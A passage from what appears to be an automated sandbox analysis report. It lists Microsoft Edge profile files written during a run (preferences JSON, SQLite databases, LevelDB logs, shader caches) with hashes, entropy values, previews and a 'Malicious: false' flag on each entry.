SHA-256:	CA7E6AA82AFD9C237B699AAB747B4A87D14A177223BF6C5A42D7557C39D89AB8
SHA-512:	DC6C9AFD00D7C2E9B9796FCE1AE7903243C7C44FCD63C927F516306DBC91240C8509D67C1D9A6920D6B4EB892F09E21B7E232FC8CC31475B487B11FD70485617
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13366255156531271","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e6e66176-c154-49a1-9a04-eb8cefc0f6b9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13650
Entropy (8bit):	5.24101591824286
Encrypted:	false
SSDEEP:	192:sV0J9pQTryZiuaba4uy6JJDLKhOOxP5Yt3+8qpj+F2o7QAgz+Ih1f:sV0LAJuhJJD+h5RXpU28Qt+a
MD5:	369FCD6265BFC1F15A6361355ACFCA61
SHA1:	621C3F8AE8EA7D3FCBC6E60C5E4D0F08BBFC8845
SHA-256:	2B32A1EAF719CA8C6BDD3D5B2DC59935566033EF581149C54EBD2B4C751E4F47
SHA-512:	E3E9E45A5B0FC1DB145DFDA1B2A6EB9125239CA68E1D054D55505B1967A0FCDA6FA43EA89A9246E0B6335C1A1FC9C9B9432BCEF7EE808BF92BCE4C8F31549B87
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13366255156531271","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ef805695-b800-4664-bb6f-4bf8e6eb62c5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.566592775938074
Encrypted:	false
SSDEEP:	768:QkFG57WPG0fSt8F1+UoAYDCx9Tuqh0VfUC9xbog/OVdY0V2rwepQtuf:QkFG57WPG0fStu1jagrVTBtE
MD5:	14767E467A4FF6FC913558D7522E3B28
SHA1:	EF3139F645BD77890F34F1BDF6FB3AC351CA2398
SHA-256:	EAF813E70CD3C08A8F6B615F28459DA482588F477A4728D71698F32D4FF66706
SHA-512:	AEB60A21E79CE7E7079B1EF493CF38F0D20B33F3A3A81F1BC2EDCEF74C7A1972B3543338B96A1EE10B1DD328E0D63ABA091D95B41E926AB30F7F0A51F0AC42F1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366255155905546","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366255155905546","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f617f0fa-6254-495e-9d83-c33265701fbf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.35226517389931394
Encrypted:	false
SSDEEP:	12:TLC+waBg9LBgVDBgQjiZBgKuFtuQkMbmgcVAzO5kMCgGUg5OR:TLPdBgtBgJBgQjiZS53uQFE27MCgGZsR
MD5:	D2CCDC36225684AAE8FA563AFEDB14E7
SHA1:	3759649035F23004A4C30A14C5F0B54191BEBF80
SHA-256:	080AEE864047C67CB1586A5BA5EDA007AFD18ECC2B702638287E386F159D7AEE
SHA-512:	1A915AF643D688CA68AEDC1FF26C407D960D18DFDE838B417C437D7ADAC7B91C906E782DCC414784E64287915BD1DE5BB6A282E59AA9FEB8C384B4D4BC5F70EC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......Q......Q......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10100285141516241
Encrypted:	false
SSDEEP:	6:GfQSm0pS9QSm0pz9XHl/Vl/Unnkl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vn:9Sma9SmaxFnnnnnnnnnnnnnnqEo8VN
MD5:	A17244402FC2961468CE6E339EE2B9A9
SHA1:	BA43051467211E0EB506A77679E460246969E828
SHA-256:	A5E313C43C39F35AA45596B684A448E2B8723FB15D635C2C0F6555ADAA383D3F
SHA-512:	F2D9074340B252B5A96FBCA2BFD396E59D8F0661E87D16CCA0E6A488D56D66F62E8DDBEBBECE96E9A55A0BD35E20DB4A2ECBD0B207292802500E9996ED64D4CD
Malicious:	false
Preview:	..-.............L........8..Y.....%<....d4W.....-.............L........8..Y.....%<....d4W...........H...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	313152
Entropy (8bit):	0.9789225014791956
Encrypted:	false
SSDEEP:	1536:CqMR2Lajfpf4aDPJ/iNHpMpBHEMzBHQMnBH2MhBHiMzBH4Mg:qzXfdY
MD5:	B0FA8A88CAF9CBEEFF47C0D0AF17C802
SHA1:	890F5F7DEBFF5CA25F869DB94BD93CAD1EB11CAD
SHA-256:	ED84D05668CB127397440170ABF43E5C1FA9788F22974CDDAD396CA49F7388FA
SHA-512:	F367CD32047DCCFB4C501BC8A286541470E9C43F6A38523F68E39E3FDFE033627FB87F0A1A3C211749228BCD351DA1394DDAE6D3A5FC423E942EBADF3AAB7F04
Malicious:	false
Preview:	7....-.............%<........v............%<....*......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	155
Entropy (8bit):	4.291939891407381
Encrypted:	false
SSDEEP:	3:VVXntjQPEnjQnllvl/l3seGKT9rcQ6xXWyOtlTxotl:/XntM+Ub/l3sedhODOu
MD5:	340D47AFA40E4CF2597F82D3B34A52B0
SHA1:	1CB08DD6B23C0A7CE1F7049FFF598372DC2206AB
SHA-256:	6184CC410FABB19BA4816A482CBE2A82DE4ECAE0C035C9EC0490668E903B3B38
SHA-512:	CCFCB9B644A739AB01AB2D379704234BF89F75197611AB1AD658CC5E0AFD8E1ACABA4049E767CFE0F3687EC94CFA9CCBFA73CB5655578FCB14A5AF4E7465855C
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..4.0................39_config..........6.....n ...1u}.=...............u}.=...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	281
Entropy (8bit):	5.27133677338955
Encrypted:	false
SSDEEP:	6:BMWQhnt7G81wkn23oH+Tcwtfrl2KLlrMWQhl7+q2Pwkn23oH+TcwtfrK+IFUv:BQrSfYeb1LJQPivYfYeb23FUv
MD5:	77DB2D1EFD2A1709C940ABF74AAFD0E8
SHA1:	4B1F13BD320E90834DA351651A6D7440DDD3DC48
SHA-256:	EC75BBECAF74193283F43CD020F76F782B9E2119CB12F523AF8698DBD752A578
SHA-512:	D664B189E766807414FDC9F57C4F4F6848BDB62C5736E994AEC518EA3E295281645AEC6339EFB9DDEB87AA4B251CFD04683315052AC83EAA11A1ED74EBE3F880
Malicious:	false
Preview:	2024/07/23-20:39:16.571 2048 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db since it was missing..2024/07/23-20:39:16.591 2048 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	3.9325179151892424
Encrypted:	false
SSDEEP:	12:G0nYUteza//z3p/Uz0RuWlJhC+lvBavRtin01zv0:G0nYUtezaD3RUovhC+lvBOL0
MD5:	AD15D72AA4792C14DDD002CED70E8245
SHA1:	30D0E75166FDA7126A73480EE3222C193231B579
SHA-256:	17A781FB31D3176491D9B277ADEEE5521972C68956A2271637BBCBFEB27D6A7D
SHA-512:	20B8D19B529A392FE0CBB44844926210D98C477498377B8370AA3A3A763C047EF96BE341686406522868EF848C83EF5EF4792B17CDD0462D4680EDA542C8A54F
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................21_.....n[.=.................33_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.229054617427759
Encrypted:	false
SSDEEP:	6:BMWQhCFRG81wkn23oH+Tcwtfrzs52KLlrMWQhG+q2Pwkn23oH+TcwtfrzAdIFUv:BQ8rSfYebs9LJQpvYfYeb9FUv
MD5:	1B87575568352DF11A0D75466F85BD47
SHA1:	EE512D921897A842562545A61CBC005FE4045CBA
SHA-256:	68752BD3791BC340D2F11A6DA65FAA7D61940983FC01350F8723756E1C510A20
SHA-512:	4016233D60466511CBFFBAB74C3EE1070E81B88B51AB3D9528992E0A443399FFB86EE936CD8D07F0F40B7833117E1F56DC204FDD2976E47F05ACDD2D19259612
Malicious:	false
Preview:	2024/07/23-20:39:16.534 2048 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata since it was missing..2024/07/23-20:39:16.569 2048 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.47693366977411E-4
Encrypted:	false
SSDEEP:	3:LsNlcgK/:Ls31
MD5:	0657EF43E96F12BBD3F0152F7B13B5B3
SHA1:	1A97B8E8B92C761D9B96C1461EBA7B6C20D0FDB3
SHA-256:	1F912DB7C8D559B1874EEAB305FFF70B32F8C48D57163DF612CD86A63BB66511
SHA-512:	80859DD3A067B790C2ED302515E6ADD5E54AF863146D89E44AC8541CB1A16F06A1DC619A14C37064E59AB155D640893BE2113C63507A7ACB2B2D92C069F4A51A
Malicious:	false
Preview:	........................................;...\|/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.47693366977411E-4
Encrypted:	false
SSDEEP:	3:LsNlj00l:Ls3h
MD5:	F320ED61FB0416F03753FBA75E5D973D
SHA1:	B8604A91EE378495C9B081D3C330909C1215E5F9
SHA-256:	CDC37758921340DDA8EF1F74E9533F6511077AE1583D8D7A9660B4B3E2DB8931
SHA-512:	DF79A815A894C7E9DFE4B88943AFCCF1CBC0737FFD8881EBBF2ADF55EEEBE01C16DC5B0FE699883A5945C781F50D6AACEE7794BB7A8081B6AB2605A9A36AA4E8
Malicious:	false
